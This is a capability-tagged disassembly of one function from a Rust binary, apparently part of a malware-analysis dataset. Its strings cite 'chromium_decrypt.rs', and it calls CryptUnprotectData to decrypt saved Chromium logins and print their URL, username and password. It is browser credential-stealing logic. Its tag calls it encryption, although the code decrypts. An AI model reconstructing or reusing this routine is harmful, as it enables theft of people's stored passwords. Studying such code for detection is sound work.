Function at 0x18000bc67
Capabilities:
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x548
mov byte [rsp + 0x3f], r9b
lea rax, [rsp + 0x148]
and qword [rax], 0
mov qword [rax + 8], 1
and qword [rax + 0x10], 0
mov r14, rdx
mov qword [rsp + 0xc8], rcx
lea rdi, [rsp + 0x60]
mov rax, qword [r8]
mov qword [rsp + 0xd8], rax
mov rax, qword [r8 + 8]
mov qword [rsp + 0xb0], rax
mov rax, qword [r8 + 0x10]
mov qword [rsp + 0xd0], rax
lea r12, [rsp + 0x58]
movabs rsi, 0x8000000000000000
lea r13, [rsp + 0x160]
mov rcx, r12
mov rdx, r14
call fcn.180016612
cmp dword [rsp + 0x58], 2
jne 0x18000c2cb
cmp byte [rsp + 0x60], 0
jne 0x18000c298
mov rcx, r12
mov rdx, r14
xor r8d, r8d
call fcn.180016820
cmp dword [rsp + 0x58], 2
jne 0x18000c38f
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x110], xmm0
mov r8d, 1
mov rcx, r12
mov rdx, r14
call fcn.180016820
cmp dword [rsp + 0x58], 2
jne 0x18000c307
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x140], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x130], xmm0
mov r8d, 2
mov rcx, r12
mov rdx, r14
call fcn.180016714
cmp dword [rsp + 0x58], 2
jne 0x18000c362
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0xe0], xmm0
cmp qword [rsp + 0xd8], rsi
je 0x18000c2fb
and qword [rsp + 0x40], 0
mov rbx, qword [rsp + 0xe8]
and qword [rsp + 0x50], 0
mov rbp, qword [rsp + 0xf0]
mov qword [rsp + 0x48], 1
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x58], rax
cmp rax, 0x20
jne 0x18000c337
cmp byte [rsp + 0x3f], 0
je 0x18000bf18
mov rcx, r13
mov rdx, qword [rsp + 0xb0]
call fcn.18000a276
cmp rbp, 0xb
jbe 0x18000c436
mov ecx, 0xc
mov rdx, rbx
mov r8, rbp
lea r9, str.srcchromium_decrypt.rs
call fcn.1800010b6
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x98]
mov rdx, r13
mov r8, rbx
mov r9, rax
call fcn.1800011cc
mov r15, qword [rsp + 0x98]
cmp r15, rsi
jne 0x18000bfae
cmp rbp, 0xe
jbe 0x18000c44d
add rbx, 3
mov r8d, 0xc
lea rcx, [rsp + 0x80]
mov rdx, rbx
call fcn.1800083f6
mov eax, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
mov dword [rsp + 0x100], eax
and dword [rsp + 0xb8], 0
mov qword [rsp + 0x108], rcx
and qword [rsp + 0xc0], 0
and dword [rsp + 0x28], 0
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x30], rax
and qword [rsp + 0x20], 0
lea rcx, [rsp + 0x100]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.crypt32.dll_CryptUnprotectData
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
je 0x18000bf06
mov r8d, dword [rsp + 0xb8]
mov rcx, r12
call fcn.1800083f6
lea rcx, [rsp + 0x40]
call fcn.180007c14
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x80]
call fcn.180007c14
jmp 0x18000bfd0
mov rcx, r13
mov rdx, qword [rsp + 0xb0]
call fcn.18000a276
cmp rbp, 0xe
jbe 0x18000c444
lea r15, [rbx + 3]
mov ecx, 0xf
mov rdx, rbx
mov r8, rbp
lea r9, str.srcchromium_decrypt.rs
call fcn.1800010b6
mov qword [rsp + 0x20], rdx
mov rcx, r12
mov rdx, r13
mov r8, r15
mov r9, rax
call fcn.1800011cc
cmp qword [rsp + 0x58], rsi
je 0x18000c412
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x40]
call fcn.180007c14
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x18000bfd0
lea rcx, [rsp + 0x40]
call fcn.180007c14
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xa0]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x48]
movups xmmword [rax], xmm0
mov r15, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rcx, r13
mov rdx, rbp
mov r8, rbx
call fcn.180033ec0
cmp qword [rsp + 0x160], 0
je 0x18000c012
mov rax, qword [rsp + 0x168]
cmp r15, rsi
jne 0x18000c3d7
mov r15, rbp
mov rbp, rbx
mov rbx, rax
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbx
cmp r15, rsi
je 0x18000c248
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x88], rax
mov r8d, 0x29
lea rbx, [rsp + 0x148]
mov rcx, rbx
lea rdx, str._nUrl:__n
call fcn.18000db18
lea rax, [0x18012a490]
mov qword [rsp + 0x160], rax
mov eax, 2
mov qword [rsp + 0x168], rax
and qword [rsp + 0x180], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
lea rbp, [0x180008bd8]
mov qword [rsp + 0x48], rbp
lea rsi, [rsp + 0x40]
mov qword [rsp + 0x170], rsi
mov eax, 1
mov qword [rsp + 0x178], rax
mov rcx, r12
mov rdx, r13
call fcn.1800085ba
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x170], r8
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x160], xmm0
mov rdx, qword [rsp + 0x168]
mov rcx, rbx
call fcn.18000db18
mov rcx, r13
call fcn.180007c14
lea rax, str.Username:
mov qword [rsp + 0x160], rax
mov eax, 2
mov qword [rsp + 0x168], rax
and qword [rsp + 0x180], 0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x170], rsi
mov eax, 1
mov qword [rsp + 0x178], rax
mov rcx, r12
mov rdx, r13
call fcn.1800085ba
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x170], r8
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x160], xmm0
mov rdx, qword [rsp + 0x168]
mov rcx, rbx
mov rbp, rbx
call fcn.18000db18
mov rcx, r13
call fcn.180007c14
lea rax, str.Password:
mov qword [rsp + 0x160], rax
mov eax, 2
mov qword [rsp + 0x168], rax
movabs rsi, 0x8000000000000000
and qword [rsp + 0x180], 0
lea rbx, [rsp + 0x80]
mov qword [rsp + 0x40], rbx
lea rax, [0x180008bd8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x170], rax
mov eax, 1
mov qword [rsp + 0x178], rax
mov rcx, r12
mov rdx, r13
call fcn.1800085ba
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x170], r8
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x160], xmm0
mov rdx, qword [rsp + 0x168]
mov rcx, rbp
call fcn.18000db18
mov rcx, r13
call fcn.180007c14
mov rcx, rbx
call fcn.180007c14
lea rcx, [rsp + 0xe0]
call fcn.180007c14
lea rcx, [rsp + 0x130]
call fcn.180007c14
lea rcx, [rsp + 0x110]
call fcn.180007c14
cmp r15, rsi
jne 0x18000bce2
cmp qword [rsp + 0x98], rsi
je 0x18000bce2
lea rcx, [rsp + 0x98]
call fcn.180007c14
jmp 0x18000bce2
mov rcx, qword [rsp + 0x158]
mov rax, qword [rsp + 0xc8]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rsp + 0x148]
movups xmmword [rax], xmm0
add rsp, 0x548
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x160]
mov qword [r8 + 0x20], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchromium_decrypt.rs
jmp 0x18000c3ba
lea rcx, str.srcchromium_decrypt.rs
call fcn.180126830
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x160]
mov qword [r8 + 0x20], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchromium_decrypt.rs
jmp 0x18000c3ba
lea r9, [rsp + 0x160]
and qword [r9], 0
lea rax, str._HOME.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rs
mov qword [rsp + 0x20], rax
lea r8, [0x1801285d0]
lea rdx, [rsp + 0x58]
xor ecx, ecx
call fcn.180125192
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x160]
mov qword [r8 + 0x20], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchromium_decrypt.rs
jmp 0x18000c3ba
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x160]
mov qword [r8 + 0x20], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchromium_decrypt.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, fcn.180007ab2
mov edx, 0x2b
call fcn.180126c00
lea r8, [rsp + 0x160]
mov rcx, qword [r8 + 0x10]
mov qword [r8], r15
mov qword [r8 + 8], rbp
mov qword [r8 + 0x10], rbx
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rcx
lea rax, str.srcchromium_decrypt.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, [0x1801292a0]
jmp 0x18000c3cd
lea rax, str.srcchromium_decrypt.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, [0x1801291a0]
lea r8, [rsp + 0x80]
jmp 0x18000c3cd
lea r8, str.srcchromium_decrypt.rs
mov ecx, 0xc
jmp 0x18000c459
lea r8, str.srcchromium_decrypt.rs
jmp 0x18000c454
lea r8, str.srcchromium_decrypt.rs
mov ecx, 0xf
mov rdx, rbp
call fcn.180126d00
int3